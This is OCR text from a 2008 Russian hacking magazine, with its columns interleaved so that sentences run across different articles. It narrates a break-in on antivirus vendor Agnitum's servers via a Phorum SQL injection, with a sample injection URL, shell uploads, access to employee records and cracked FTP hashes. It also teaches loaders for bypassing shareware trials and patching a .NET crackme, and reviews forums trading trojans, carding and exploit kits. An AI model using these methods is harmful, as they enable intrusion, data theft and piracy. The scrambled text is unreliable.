звестен уже не первый случай, когда на сайтах производи- Первоначальный осмотр сайта на предмет взлома не обрадовал. На-
И телей антивирусов обнаруживают трояны. Еще веришь в стораживала лишь надпись «Контент, программирование © Anatoly
защищенность, конфиденциальность и надежность? Сейчас Skoblov, 2001-2004», свидетельствующая о явной заброшенности ресурса.
ты увидишь, как хрупкая цепочка багов, казалось бы, незна- Все было написано на чистом HTML (никаких скриптов). Однако ссылка
чительных по отдельности, разрушит миф о неприступности компаний, «форум» привела меня на aboutphone.info/phorum, где PHP-скрипты
специализирующихся на сетевой безопасности. определенно были. Напрашивалась мысль о самописности ресурса, но
дальнейший просмотр исходного кода страницы показал: «Phorum» — это
Рекогносцировка на местности название форума. Версия со 100% точностью была определена с помощью
Здесь и далее: misterBlack, misterWhite — это два молодых человека, meta-тегов.
состоящих в одной хакерской группе. Псевдонимы выбраны совершенно
случайно, без подоплеки или злого умысла. Как водится, хакеры ведут поис- <meta name="PhorumVersion" content="3.4.3a" />
ки ресурса-жертвы и обмениваются ценной информацией. <meta name="PhorumDB" content="mysql" />
<meta name="PHPVersion" content="4.4.7" />
misterBlack:
Вечер. Свет монитора. Окинув взглядом иконки на рабочем столе, я почему- Фортуна была на моей стороне. Проверка багтреков выдала множество
то остановился на Outpost Firewall. «Хм... чем не вариант?», — подумал я. разных уязвимостей. Я решил заострить внимание на самой удачной.
Зайдя на Agnitum.com, пошарился минут десять. Следующий сайт — agnitum.
ru, за ним — он же, в зоне FR... багов нигде не обнаружено. Но вот клацнув на [Critical SQL-inj uriauth() Phorum<=3.4.7 ]
ссылку Polski в верхнем углу, я попал на outpost.pl. Беглый анализ сайта обнару- www.securityfocus.com/archive/1/360635
жил движок (это уже хорошо) — Joomla 1.0.9. Глянув эксплоиты под эту версию,
я уже было обрадовался, но IP-адреса agnitum.com и outpost.pl оказались раз- В описании бага был пример эксплуатации:http://localhost/
ными, а значит — снова облом. Тогда я решил посмотреть, какие соседи были на phorum347/list.php?f=1&phorum_uriauth=waraxe%2527%20AN
сайте (используя ресурс seologs.com/ip-domains.html), не особо, впрочем, рас- D%20mid(password,2,1)=3/*:foobar, но когда я подставлял разные
считывая на удачу, ибо проекты такого уровня, как правило, имеют собственный значения, ничего не происходило. Странно! Была уже ночь, глаза залипали,
сервер, и никаких левых сайтов там априори быть не может. Но не в этот раз! В и, следуя русской поговорке «утро вечера мудренее», я решил оставить
списке доменов присутствовал одинокий aboutphone.info (а что, это шанс). разбор полетов на следующий день.
xàêåð 05 /113/ 08
059
>> взлом
встает новый вопрос: «Куда зальется шелл?» (ведь прямого линка на него ICQ-log
не было). misterWhite: Я вспомнил
Был только путь по типу «www.aboutphone.info/phorum/download.php?1,57/ misterWhite: В куках было что-то странное
SS7.jpg». misterWhite: Ага)
Смотрим исходник. Генерация урла для аттача происходит по следующему misterWhite: http://aboutphone.info/attach_from_
алгоритму: phorum/ph1/
misterWhite:
Конфигурационные файлы апача не удается прочитать, и мне по-прежне-
му неизвестен расклад прав и раздача uid/guid. По собственному опыту я
замечал, что иногда раздача прав зависит от домена, а иногда — от uid/guid
самого скрипта. Я предположил, что, если залить шелл в папку, доступную
с другого домена, то сервер может стать к нам более демократичным. Так и
произошло.
misterBlack:
Далее была найдена папка на запись, доступная с Agnitum.com. После
Вызов phpinfo() обращения к новому шеллу настроение заметно поднялось — здесь
video
На диске к журналу
ты найдешь видео-
урок, демонстрирую-
щий основные шаги
взломщика.
красовалось зеленое «Safemod OFF»! Теперь хватало прав Пренебрежение директивой open_basedir и disable_ warning
на просмотр многих желанных папок и скриптов с правами functions заканчивается печально. Ну зачем, зачем вам пос- Внимание! Инфор-
agnitum/agnitum. Ползая по серверу в поисках коннектов к БД, ледняя версия PHP, если вы не используете ее багфиксы??? мация представлена
выяснили, что сайты Агнитума основаны на Битриксе и юзают Как итог на этот раз — всего лишь слегка подмоченная репутация. исключительно с
как MySQL, так и PostgreSQL. целью ознакомле-
Happy End! ния! Ни автор, ни
PostgreSQL 7.4.17 on x86_64‑redhat-linux-gnu, misterWhite: редакция за твои
compiled by GCC gcc (GCC) 3.4.6 20060404 (Red Настало время мне объясниться. действия ответст-
Hat 3.4.6-3) Почему я не сделал бэкконект? Не брал рута? Не протроянил венности не несут!
дистрибутивы? Не проифреймил индекс, в конце концов,
misterWhite: а просто закрыл браузер после получения шелла? Может,
PostgreSQL — это вам не шутки. Тут сложнее ориентироваться потому что аптайм у сервера достигал 300? Или потому, что
в БД, чем в мускуле. Agnitum — достойная российская компания?
Для навигации по базе требуется помнить названия кучи Нет. Прежде всего, потому что админ такой же человек, как и
таблиц. Однако их можно посмотреть в information.schema, я. К его чести, он все-таки позаботился о защите и разграни-
знакомой нам по mssql и mysql5. Потому, осознав нерацио- чении прав. В процессе ни один байт данных не был повреж-
нальность r57 и cyberlordsSQL, я доверил дело misterBlack’y. ден. Мы не вандалы :). SQL на сайте в Phorum я пропатчил dvd
(на всякий пожарный) и после отписал в службу поддержки о Файлы и программы,
misterBlack: найденных уязвимостях. упоминаемые в ста-
Тогда я залил phpPgAdmin, и мы пошли шариться по БД. Здесь тье, ищи на нашем
были данные на сотрудников, мыла, телефоны, места жительст- misterBlack: диске.
ва, пароли от внутренних сервисов сайта и личная переписка. Итог взлома показывает, что даже те, кто защищает нас от сете-
Валялось несколько сотен ключей, просроченных с 2005/2006 вых атак и берет за это деньги, зачастую не могут достойно защи-
года. Новых ключей не было, как и программ для их генерации. тить самих себя. Так что, господа, спастись от атак вам поможет
Современные ключи, как оказалось, хранятся на сайтах парт- только собственные паранойя, внимательность и аккуратность.
неров по продажам софта, например Softkey.ru. В общем, берите пример со своего же файрвола! :) z
Решив, что этого достаточно, мы свалили оттуда, предусмот-
рительно потерев все, что загружали.
misterWhite:
Могу еще отметить, что на сервере:
• встречались фрагменты закрытых исходных кодов продук-
тов кампании;
• символические линки в /etc/init.d и /etc/rc.d/
доступны на запись, что пахнет рутом, хотя для такого ядра все
решается банальным ядерным эксплоитом;
• кривые права на конфиги proftpd позволили получить хеши
юзеров, впоследствии часть из них была успешно дешифрована;
Думаю всем ясно, что, используя эти пароли, можно подме-
нить апдейты и дистрибутивы на протрояненные.
Также я не рекомендовал бы support’у использовать дырявую
джумлу и вордпресс любой версии в своих проектах во
избежание появления аналогичных статей, не говоря уже о
допотопных движках. Никакой display_error=OFF вас не
спасет. Админка форума
xàêåð 05 /113/ 08
061
>> взлом
R
ADE
LO
Ты — повелитель
армии
лоадеров!
Универсальные приемы бывалого крэкера
мануалах по крэкингу технология взлома с помощью простей- 3. Прочтем номер нужной кнопки
в ших лоадеров типа «FindWindow-SendMessage», как правило, 4. Нажмем нужную кнопку
упоминается только вскользь. Тем не менее, ее использование
весьма эффективно. Главная отличительная особенность Теперь предстоит провернуть все в программном режиме — переведем
— необязательность глубокого знания крэкерского ремесла. Домашнюю прогу с русского на С или ASM, само собой с применением Win32 API. Я
крэк-лабораторию может организовать даже школьник. Рассмотрим это буду использовать свой блестящий Visual Studio, ну а ты можешь любимый
дело более подробно. Delphi-Builder.
Чтобы запустить прогу, нам нужна функция WinExec (использовать очень
Лоадер типа «FindWindow-SendMessage» красивую функцию CreateProcess не будем, чтобы не грузить голову
Начнем с самого простого — nagscreen, он же НАГ. Яркий пример — Total заумными параметрами). Вот ее прототип:
Commander. Стоит лишь запустить программу, как мы видим раздражаю-
щее окно с тремя кнопками. UINT WinExec(
Чтобы избавиться от НАГА, нужно нажать соответствующую кнопку — этим LPCST lpCmdLine, // имя exe файла, можно с параметрами
сложным действием товарищи разработчики, видимо, пытаются проверить UINT uCmdShow // состояние окна после запуска программы
наш интеллект. Попытаемся смоделировать ту часть мозга, которая будет );
решать эту сложную задачу. Разложим задачу на действия:
Со вторым пунктом проблем быть не должно (используем цикл или
1. Запустим прогу Sleep()). А вот третий пункт интересен. Для начала нужно найти строку с
2. Дождемся появления НАГА номером нужной кнопки — для этого нам пригодятся следующие функции:
LOADER
LOADER
Digalo 2000 — просто хорошая программа, работающая 15 дней MathMagic Personal 3.6. Вот он, счетчик запусков
xàêåð 05 /113/ 08
063
>> взлом
LOADER R
DER ADE
LOA LO
R
DE
MathMagic Personal 3.6. Всего «30 uses»
A
Reflector хочет в Internet LO
конкретному окну конкретное сообщение. Тулзой очень удобно проверять нит нам лоадер и жизнь, потому что у нас в запасе есть золотые
подопытные программы на «наш клиент или не наш». функции:
video
На DVD ищи ви-
деоурок, в котором
показаны основные
аспекты взлома
триальных программ.
warning
Внимание! Инфор-
мация представлена
Именно там, в реестре, Digalo хранит свои тайны. Собственно, Лоадер типа «Combo» исключительно с
перечисленных пунктов достаточно. Diglio 2000 сам будет Ну и наконец, рассмотрим этакий три в одном вариант — лоа- целью ознакомления!
запускать наш лодер, сам будет удалять свои счетчики (не без дер, который совмещает в себе несколько лоадеров. Его мы Ни автор, ни редакция
нашей помощи) — в общем, будет делать все, чтобы программа будем писать для продвинутой утилиты создания скриншотов за твои действия
продолжала работать. и их редактирования — HyperSnap 6. ответственности не
После небольшого обследования выяснилось, что защита несет!
Лоадер типа «SetLocalTime» сего творения ныкает счетчик в реестр. Если быть более
Этот тип лоадера позволяет заменить лоадеры второго и точным, то счетчиков несколько и нычек тоже. Также мы имеем
третьего типа, то есть пропустить авантюрно-захватывающее окно типа НАГ, паразитирующее на наших нервах. Но это еще
приключение под названием «найди, где я спрятал trial-счет- не все: утилита периодически создает файл с trial-меткой во
чик». Всего-то нужно вспомнить о замечательной временной директории Windows. Поэтому заучим еще одну
API-функции: удобную функцию:
xàêåð 05 /113/ 08
065
>> взлом
Total безобразничает
LOA
DER
программу, защищенную серьезным протектором Armadilo, без SoftICE, без тельности их столько, сколько есть способов хранить trial-счетчики.
OllyDbg, без IDA — практически голыми руками. Применение лоадеров не ограничивается сугубо деструктивными мо-
ментами — их можно использовать и в мирных целях. К примеру, перед
Заключение запуском какой-либо программы — для подготовки данных (отсортировать,
Подобными дырами в защите страдают даже серьезные и известные отобрать нужные, отредактировать). Или, скажем, тебе приходится рабо-
программы. Например, очень давно на одном знакомом мне компьютере тать одновременно с несколькими программами. Можно написать лоадер,
лоадер успешно загружал 3D MAX, прекрасно справлялся с Nero 6.xx, пока который будет их запускать, меняя позицию окон и размер так, как тебе
доблестные немцы не прикрыли лавочку в 7x версиях. удобно. Кстати, можно создать этакий «суперлоадер», который будет управ-
Статья не претендует на роль «Библии лоадеров», она лишь знакомит с лять всеми лоадерами на твоей машине, так сказать, менеджер лоадеров.
основами лоадеростроения, показывает, откуда начать. Чтобы продолжить, В общем, есть о чем подумать и где развернуться.
нужны манускрипты Рихтера, Фень Юань’я, ну и, конечно, Криса Каспер- Полные листинги лоадеров с комментариями, конечно же, прилагаются
ского. Их песни помогут «улучшить и углубить» код. к статье. Код лоадеров максимально упрощен, понять его несложно, ибо
MSDN, cracklab.ru, wasm.ru не упоминаю. Это само собой разумеющиеся написаны они на С и Assembler (лоадеры модно писать на ASM’е, ну а мы с
ресурсы. тобой, безусловно, модные перцы). Последний лоадер специально напи-
В статье рассмотрены далеко не все способы борьбы с shareware-подоб- сан на VB.NET, чтобы показать, что грозой шароварщиков может стать даже
ными лоадерами, а лишь самые простые и распространенные. В действи- школьница-старшеклассница со знанием такого мирного языка.z
Крис Касперски
Раскрываем
код
Дизассемблирование C# программ от A до Z
ехнология .NET готовится праздновать свой юбилей. За общем, солидный 556‑страничный документ из серии «маст хэв» (на анг-
T минувшее время было написано множество коммерческих лийском языке, в формате pdf): www.ecma-international.org/publications/
программ (и малвари в том числе), но как только дело доходит standards/Ecma-335.htm. А вот прямая ссылка: www.ecma-international.
до того, чтобы заглянуть внутрь p-кода на предмет «отломать» org/publications/files/ECMA-ST/Ecma-335.pdf.
пару ненужных байт, выясняется, что достойных хакерских инструментов 4. CIL Instruction Set. Краткий справочник оп-кодов с «C# Online.NET free
нет. И, судя по всему, не появится. Поэтому приходится использовать, что encyclopedia» — жутко неполный, но удобный и без воды (на английском
есть, хакерствуя в весьма стесненных обстоятельствах, словно шахтеры в языке): http://en.csharp-online.net/CIL_Instruction_Set.
забое! 5. Введение в MSIL. Цикл статей от Кенни Керр в переводе Aquila (одного из
основателей WASM). Представляет собой подробное описание архитектуры
Что нам понадобится виртуальной машины и концепций языка C#, рекомендуемое к прочте-
Итак, сейчас я перечислю хакерский арсенал, который поможет нам в нию всем начинающим хакерам (на русском языке): www.wasm.ru/series.
нелегком ремесле. php?sid=22.
1. Visual Studio 2008 Express. Последняя версия знаменитой «студии» от 6. Common Intermediate Language. Поверхностное описание CIL-языка
MS, распространяющаяся бесплатно и включающая в себя все необходи- (общего для всех языков платформы .NET) на Wikipedia со ссылками на кучу
мое для полноценной работы: трансляторы Visual Basic, C#, а также новый полезных ресурсов (на английском языке): ttp://en.wikipedia.org/wiki/
компилятор Cи++, способный транслировать Си++ программы в байт-код. Common_Intermediate_Language.
На W2K устанавливаться категорически отказалась, а на Server 2003 встала 7,8,9,10... Прочие примочки и описания. Полный листинг ищи на нашем
с полпинка (off-line install занимает 894 Мбайт в .iso-формате): http://www. DVD.
microsoft.com/express/download/.
2. Mono 2.0 Beta for Windows. Альтернативная реализация .NET от Пишем свой первый crackme
компании Novell, поддерживающая различные версии Linux и Windows, Глубоководное погружение в байт-код .NET-программ начинается!
нормально встала на W2K, но потребовала MS Framework. Кроме того, Пристегиваем ремни, проверяем, все ли на месте, и запускаем Microsoft
комплект поставки неполный (в частности, нет дизассемблера), а откомпи- Visual Studio или FAR + Colorer. Работать в IDE, конечно, удобнее (особенно
лированные сборки жутко тормозят, зато дистрибутив занимает 71 Мбайт: начинающим, ведь среда автоматически отображает список методов для
http://www.go-mono.com/mono-downloads/download.html. каждого класса — не надо постоянно лазить в справочники), однако это
3. Standard ECMA-335/Common Language Infrastructure (CLI)/4th edition порочный путь, абстрагирующий нас от машины. Мы — хакеры старого
(June 2006). Полная версия европейского стандарта, описывающая архи- поколения — предпочитаем консольные текстовые редакторы с подсветкой
тектуру виртуальной машины, байт-код, структуру ассемблерных сборок, в синтаксиса или даже без таковой.
Так выглядит «честная» .NET сборка в hex-редакторе Консольная версия IDA Pro дизассемблирует .NET сборку
xàêåð 05 /113/ 08
069
>> взлом
Дамп двоичной .NET-сборки в ассемблерный Расследование показало, что штатному .NET отладчику (зовущемуся mdbg.
файл штатным дизассемблером ildasm.exe exe, где «m» — сокращение от managed, то есть управляемый код) для
нормальной работы вполне достаточно pdb-файла. Вот только как этот файл
получить? IDA Pro может подготовить map-файл, но готовых конверторов
тельным. Вместо того чтобы гадать, какое значение имеет пере- map2pdb в Сети что-то не наблюдается, а писать самому — лениво и непро-
менная в данной точке (в дизассемблере), гораздо практичнее дуктивно.
заглянуть в нее отладчиком. К счастью, существует весьма простой и элегантный путь. Дизассембли-
И вот тут выясняется любопытная вещь. На уровне исходных текстов руем бинарную сборку штатной утилитой ildasm.exe, после чего ассемб-
Microsoft Visual Studio справляется с отладкой на ура, но готовые бинарные лируем ее заново штатным же транслятором ilasm.exe, не забыв указать
сборки, увы, не поддерживает. Для работы с ними необходимо использо- «волшебный» ключик /pdb для генерации отладочной информации.
вать ICorDebug-интерфейс, встроенный в ядро платформы .NET и реа- Поскольку ildasm.exe поддерживает ресурсы и корректно их дампит, то
лизующий базовые отладочные возможности (установка точек останова, предложенный способ работает в подавляющем большинстве случаев, что
пошаговое исполнение и т.д.), предоставляя их в виде набора API-функций. мы сейчас и продемонстрируем.
Все .NET-отладчики, которые я видел, являются достаточно тонкими Запускаем ildasm.exe с настройками по умолчанию, загружаем в него
обертками вокруг ICorDebug Interface и наследуют его худшие черты, а n2k_crackme_01h.exe (оригинальный, а не хакнутый). В меню File
именно — невозможность отлаживать программы без символьной (отла- находим пункт Dump (или нажимаем <CTRL-D>), в появившемся окне
дочной) информации, автоматически удаляемой из всех Release-проектов. «Dump options» (смотри рисунок) оставляем все галочки в состоя-
Выходит, что мы можем отлаживать только свои собственные программы?! нии по умолчанию. Главное, чтобы была взведена галочка «Dump IL
Нехорошо! Code»! После нажимаем «OK» и вводим имя файла для дампа (напри-
мер, «cracked»).
По окончании дизассемблирования на диске образуются два файла
— cracked.il с ассемблерным текстом программы и cracked.res с
ресурсами. Cracked.il представляет собой обыкновенный текстовой
Терминологи- файл, который можно править в любом текстовом редакторе, при необхо-
димости заменяя «brtrue.s IL_0031» на «brfalse.s IL_0031». Но
.NET: древняя, как мир, идея двухстадийной компиляции; снача- $ilasm.exe cracked.il /pdb
ла программа (написанная хоть на Java, хоть на Visual Basic, хоть
на Cи++, хоть на C#, хоть на F#) транслируется в промежуточ- На диске образуются файлы cracked.exe и cracked.pdb, готовые
ный байт-код, который окончательно транслируется в «родной» к загрузке в отладчик. Что примечательно — отладочная информация
двоичный код на конкретной целевой машине или же исполняет- непосредственно в сам исполняемый файл не записывается. Это
ся в режиме интерпретации; очень хорошо, иначе нам пришлось бы потом оттирать ее оттуда или
CLR: Common Language Runtime («общая среда выполнения язы- мириться с увеличением размера поломанного exe, что вряд ли входит
ков») — компонент Microsoft .NET Framework, включающий себя в наши планы.
виртуальную машину и необходимые библиотеки; ОК, набираем в командной строке «$mdbg.exe cracked.exe» и…
CIL: Common Language Infrastructure — «спецификация общеязы- оказываемся в консольном окне отладчика, автоматически останав-
ковой инфраструктуры», определяющая архитектуру испол- ливающегося на первой команде функции Main (передает нам бразды
нительной системы, базовые классы, синтаксис и мнемонику правления). А что такого крутого и хорошего мы можем сделать?
байт-кода; Начнем с просмотра окрестной, за что отвечает команда «show» или ее
MSIL: Microsoft Intermediate Language («промежуточный язык от более короткий алиас «sh». Результат выглядит так:
Microsoft») — байт-код виртуальной .NET машины в реализации
от Microsoft; Результат работы команды «sh», показывающей IL-код
IL: Intermediate Language («промежуточный язык») — байт-код run cracked.exe
виртуальной .NET машины, стандартизованный в рамках ECMA- # запущена бинарная сборка cracked.exe
335. STOP: Breakpoint Hit
xàêåð 05 /113/ 08
071
>> взлом
# точка останова в функции main жимого которой команда «IL_0022: brtrue.s IL_0031» прыгает
43: IL_0000: nop # следующая выполняемая команда на метку IL_0031 (неверный пароль). Или… не прыгает. Все ясно! Нам
[p#:0, t#:0] mdbg> sh нужно установить точку останова на команде «IL_0020: stloc.1»,
# просим отладчик показать окрестности кода по "sh" расположенной в 55’ой строке файла cracked.il, а дальше мы уже
40 .maxstack 2 сориентируется. Весь сеанс работы с отладчиком mdbg.exe ищи на DVD
41 .locals init (string V_0, bool V_1) в полномасштабной статье. Если кому-то родители запрещают использо-
вать консоль, что ж, к его услугам Dotnet IL Editor — бесплатный IL-отлад-
43:* IL_0000: nop чик с GUI-интерфейсом, однако mdbg.exe мне как-то больше по душе (к
# команда выполняемая следующей тому же под него расширения всякие можно писать).
44 IL_0001: ldstr "enter password:" Впрочем, выбор отладчика непринципиален. Важна сама техника иссле-
дования .NET-программ, которую мы только что и продемонстрировали.
45 IL_0006: call [mscorlib]System.
Console::Write(string) Заключение
[p#:0, t#:0] mdbg> Разумеется, в рамках одной-единственной статьи невозможно охватить
все аспекты взлома .NET-программ. В частности, совершенно нетронутой
Остальные команды отладчика можно найти во встроенной справке осталась тема упаковщиков бинарных сборок и протекторов, распаковы-
(вызываемой командой help) или же в одноименной врезке. Сейчас нас вать которые приходится руками. Это тема для отдельного разговора.
интересует техника работы с отладчиком. Ну, техника, как техника. Никаких А пока имеет смысл потренироваться на простых, несильно защищенных
принципиальных отличий от x86 не появилось. коммерческих программах (которые можно найти в Сети), малвари (взятой
При просмотре ассемблерного файла cracked.il находим команду оттуда же) и crackme, залежи которых находятся на сайте www.crackmes.de
«IL_0020: stloc.1», которая стягивает со стека результат сравнения (где даже есть специальный раздел, посвященный исключительно плат-
двух строк, возвращенный функцией System.String::op_Equality. форме .NET).
За ней следует команда «IL_0021: ldloc.1», загружающая получен- Я надеюсь, что эта статья обеспечит хороший старт, а остальное — дело
ное значение в локальную переменную V_1, в зависимости от содер- времени, техники и бесчисленных экспериментов! z
x-tools
Леонид «R0id» Стройков
/ [email protected] /
xàêåð 05 /113/ 08
075
>> сцена
о хак-форумах
Предвзятый обзор неприватных хакерских
и околохакерских конференций
forum.xakep.ru
• Напрямую можно (попробовать) пообщаться с редакцией. Из команды тут
обитают: nikitoz, step, forb, gorl, dlinij, и наверняка, кто-то еще, кто просто не
палится. Основной канал для общения с журналом.
• Форум существует уже почти 8 лет, сообщений дофига и на любые темы, но
что-то серьезное и приватное я находил очень редко.
• Бизнес есть, что-то продается, заказываются взломы, бывают кидки. Есть
проплаченная реклама. Интересно, кому они платят?
• Много хорошо прокачанных веток, нет откровенного слива. Все, от дизай-
на и кончая взломом и западлом.
• Культ Пупкина-Зейда. Целая тусовка, регулярно приезжающая на все
акции журнала. Многих редакция помнит в лицо.
• Для облегчения работы управления «К» на сайте есть «Геотаргетинг»,
с помощью которого все пользователи могут привязать свой профиль к
точке на карте и даже при необходимости познакомиться с тем, кто живет в
округе.
• Форум вместе с сайтом раз в год ломают.
wasm.ru/forum
• Специализированный форум. Тусуется куча профессионалов. Новичок с
васма на inattack покажется гуру... потому что направления у них разные,
конечно ;).
• В каждом треде можно вычитать что-то интересное о низкоуровневом
программировании.
• С вопросами по вирусам, упаковщикам, крипторам и вообще по хеккерно-
му программированию — только на Васм.
• У модеров сквозит нелюбовь к концепции нашего журнала, однако много
юзеров ][ читают, и это заметно по постам.
• Wasm — это колыбель вирусмейкера. Большинство авторов руткитов и
троянов начинали именно отсюда.
• Тут есть даже Крис Касперски. А также куча разработчиков антивирусов,
драйверов и прочих сложных, но прикольных штук.
• Коммерческий раздел — лучшее место для того, чтобы найти кодера под
какую-нибудь хакерскую задачу. За написание банковского троя тут дают
до 15к.
• А еще тут все ищут Зомбу (легендарного и бессмертного гуру-вирусмейке-
ра z0mbie). Интересно, зачем?
forum.antichat.ru
forum.web-hack.ru
forum.xakep.ru
forum.zloy.org
forum.asechka.ru
xakepy.ru
cardingworld.cc
cracklab.ru
wasm.ru/forum
damagelab.org
forum.inattack.ru
exploit.in
verified.ru
forum.mazafaka.ru
carder.info
hackzona.ru
security-teams.net
hackeveryday.com
reng.ru
kiber-zona.org
dkcs.qwhost.net
rootkits.ru
0 100000 200000 300000 400000 500000
Количество сообщений и зарегистрированных пользователей на форумах (апрель 2008)
forum.antichat.ru
• Очень объемный и живой форум. Много умных людей, много лохов, много флейма, много всего
полезного. В принципе, достаточно высокий средний уровень подготовки.
• На форуме постится много интересных и эксклюзивных статей и сорцов (разделы «Избранное»
и «Статьи»).
• Активный бизнес-раздел: vpn, шеллы, соксы, взломы, ftp, загрузки и т.п. Трояны запрещены. А
жаль.
• Несколько постоянных авторов взлома пришли в журнал как раз с античата. За что мы его и
любим, а он нас — нет.
• Радует, что нет всяких оффтпиковых разделов типа «Дизайн».
• Все-таки это самый крутой форум по хаку. На том же веб-хаке всего по безопасности тысяч 100
сообщений, а на античате более полумиллиона и почти без оффтопика.
forum.web-hack.ru
• Мной этот форум почему-то воспринимается как неприватная альтернатива закрытой от лишних
глаз мазе. Хотя, думаю, зря воспринимается.
• Большой и очень активный бизнес-раздел, много сервисов и предложений. Мелькают ники,
знакомые по приватным форумам. Доступ туда только зареганным, однако зарегаться может
любой.
• Много оффтопиковых и совершенно неинтересных мне разделов типа «Игры, музыка, фильмы»,
«В помощь ВебМастеру» и т.п. Собственно «по теме» раздела всего 4 из 20, но наиболее активные
все равно — по информационной безопасности и хакерству.
• Дохрена баннеров: антиабузные хостинги, загрузки троянов, фарма-партнерки, соксы и т.п.
• С точки зрения «науки» форум интереса не представляет, а вот начать зарабатывать тут можно.
xàêåð 05 /113/ 08
077
>> сцена
forum.inattack.ru
• Если на rootkits трояны пишут, на wasm частенько заказывают, на веб-
хаке, бывает, продают, то на inattack ищут халявные и вовсю пробуют «на
соседях». Причем чаще всего используется Pinch.
• Узнал много нового о легком и быстром хаке. Например, неприятелю не
обязательно отправлять троя, можно отправить ссылку на фейк. Говорят,
работает ;).
• Очень много новичков. И их здесь не обижают. Спросишь, как узнать IP
ламера в чате — дадут 10 рабочих способов — выбирай любой.
• Над некоторыми тредами угорали всей нашей инсайдерской группой.
• Никакого бизнеса тут нет.
• Повеселил тот факт, что некоторые пользователи форума ухитряются до
сих пор воровать интернет. Я-то думал, что мода на чужие пароли к прову
прошла году этак в 2000. Рисковать своей шеей ради анлима, которого
можно купить за 150 рублей — это очень странная тема.
xakepy.ru
• Неплохой форум, ему уже лет пять, однако я о нем почему-то очень редко
слышу.
• Хоть тут и много всяких трешовых разделов, основное направление
форума все равно — хак.
• Имеется уже два выпуска собственного хакерского езина «xakepy.ru
ez!n3». Ценности он большой не представляет, но взглянуть можно. Осо-
бенно, если интересуют маны по установке еггдропа или openvpn ;).
• Еще во времена повального распространения платных билдов пинча
была на этом форуме прикрепленная веточка в разделе «Социальная
инженерия & Трояны», где то ли Дамрай, то ли еще кто-то все время инте-
ресовался, чего бы добавить. Тогда было очень интересно.
• Есть активный бизнес-раздел (второй по объему на форуме), black- и
white-листы и реклама по $30 в месяц за приклепленный топик.
• Как и у других форумов, на vBulletin есть RSS, что не может не радовать.
• Присутствует также кардинговая VIP-зона с входом по заявкам. В ней уже
4.5к сообщений.
exploit.in/forum
• Я бы, наверно, вообще не стал бы говорить об этом пусть и объемном, но
совершенно бесполезном для меня форуме, если бы не «Смерть барыгам».
Это 23‑страничный тред, в котором люди выкладывают «паблик и полупаб-
лик материалы, замеченные в обороте у спекулянтов». Эксклюзив.
• Искал я mpack свеженький, везде он штуку баксов стоит, а здесь бери да
качай.
• Также я нашел в «Смерти барыгам»: крипторы, полуприватные трои с
админками, каких-то ддос-ботов, не очень свежие сплоиты, чекеры и даже
пинчевые логи. В процессе разбора халявы подцепил трояна в живом
виде. Хорошо хоть под VMware был.
• На форуме проводятся конкурсы с призами, но с хреновыми и редко.
• В разделе «Материалы по взлому» публикуются вполне читабельные
статьи, но редко и маленькие. С античатом несравнимо.
cracklab.ru
• Лучший известный мне форум, посвященный взлому программ, реверсингу и т.п. Это действи-
тельно полезное место.
• Местный контингент — это в основном гики, получающие истинное удовольствие от обсуждения
новой версии какого-нибудь PE-редактора или дампера.
• Где, как не здесь, помогут снять защиту или разобраться с триалом.
• На cracklab’е вполне адекватная структура форума, немного разделов и все очень прокаченные:
• Креки, обсуждения;
• Софт, варез;
• Вопросы новичков;
• Программирование.
• Это место на равне с васмом должно быть в букмарках хакера. z
xàêåð 05 /113/ 08
079
>> сцена
X-Profile
Мария «Mifrill» Нефедова
/ [email protected] /
Жанна
Рутковская
Героиня нашего сегодняшнего профайла — Жанна Рутковская (Joanna
Rutkowska) — не любит, когда ее называют хакером. Она предпочита-
ет более корректный и обтекаемый термин: исследователь в области
информационной безопасности. Но кем, если не хакером, считать че-
ловека, взломавшего Висту, на весь мир посрамившего безопасность
поделки Microsoft и создавшего нашумевший руткит Blue Pill?
Возраст: 27 лет
О Жанне атака срыва стека). После прочтения статьи Рутковская была настрое-
Рутковская не только молодая симпатичная девушка, но и наша гео- на скептически, уверенная,что описанное во Phrack'е не сработает.
графическая соседка. Она родилась и живет в Польше. Жанна окон- Но эксперимента ради она воспроизвела эксплойт на своей машине и
чила Варшавский технологический университет (Warsaw University of протестировала. Все получилось. По признанию Жанны, когда эксплойт
Technology), а именно — матфак. Отметим, что всего 5% студентов на срабатывает — это странное и волнующее ощущение, сродни какому-то
потоке — представительницы прекрасного пола. Сама Жанна (первый волшебному трюку.
компьютер у которой появился в 11‑летнем возрасте) считает эту стати- Однако на волшебстве в наше время далеко не уедешь. Жанна задума-
стику странной — девушку-хакера удивляет, почему столь мало дам инте- лась, чем она хочет заниматься. От интереса к устройству ОС она пришла
ресуется точными науками. Но цифры цифрами, а по словам Рутковской, к созданию руткитов. Так как Рутковская до сих пор специализируется
во время учебы она не испытывала никаких сексистских притеснений именно в этой области, очевидно, выбор был удачен. Стоит отметить,
или проблем. что университетское образование мало общего имело с тем, чем Жанна
Ее первым компьютером был ныне доисторический PC AT, с 2 Мб ОЗУ, занята сейчас. По сути, она самоучка и львиную долю знаний приобрела
40 Мб дискового пространства и примитивной видеокартой «Hercules». исключительно путем практики.
Рутковская шутит, что ей ничего не оставалось, кроме как начать про-
граммировать, ведь игры и «развлекательные» приложения на машине Разработки и проекты
просто не шли. С самого детства любившая математику Жанна легко Определившись с направлением, Рутковская продолжительное время
освоилась со сложной техникой, и на этом ее интерес не угас. В част- проработала в компании COSEINC. Деятельность этой сингапурской
ности, она занялась Ассемблером, программированием, внутренним фирмы, как несложно догадаться, ориентирована на исследования, раз-
строением ОС и etc. Все это плавно перетекло в увлечение написанием работки и предоставление услуг в сфере информационной безопасности.
различных эксплойтов. Именно под крылом COSEINC родился небезызвестный руткит Blue Pill,
Толчком к первому хаку послужила публикация в электронном журнале вызвавший немало споров.
Phrack (http://www.phrack.org/) — культовом андеграундном издании с В компании Жанна собрала вокруг себя коллектив людей, составивший
более чем двадцатилетней историей. небольшой отдел Advanced Malware Labs. Название переводится, как
Напечатанная в этом оплоте хакерства статья описывала создание «Лаборатория продвинутого вредоносного ПО». Однако подразделение
stack-smashing эксплойта, то есть атаку на переполнение буфера (она же было создано исключительно во благо. Как говорится, «врага надо знать
в лицо», а «лучшая защита — это нападение». В общем-то, ни для кого сти, вызов Рутковской бросила команда Томаса Пташека (Thomas Ptacek)
не секрет, что многие хакеры стараются обращать внимание произво- — в лице самого Томаса, а также Нейта Лоусана (Nate Lawson) и Питера
дителей софта на недоработки, дыры и недочеты в их детищах, просто Ферри (Peter Ferrie). Они предложили тест — взять два компьютера и
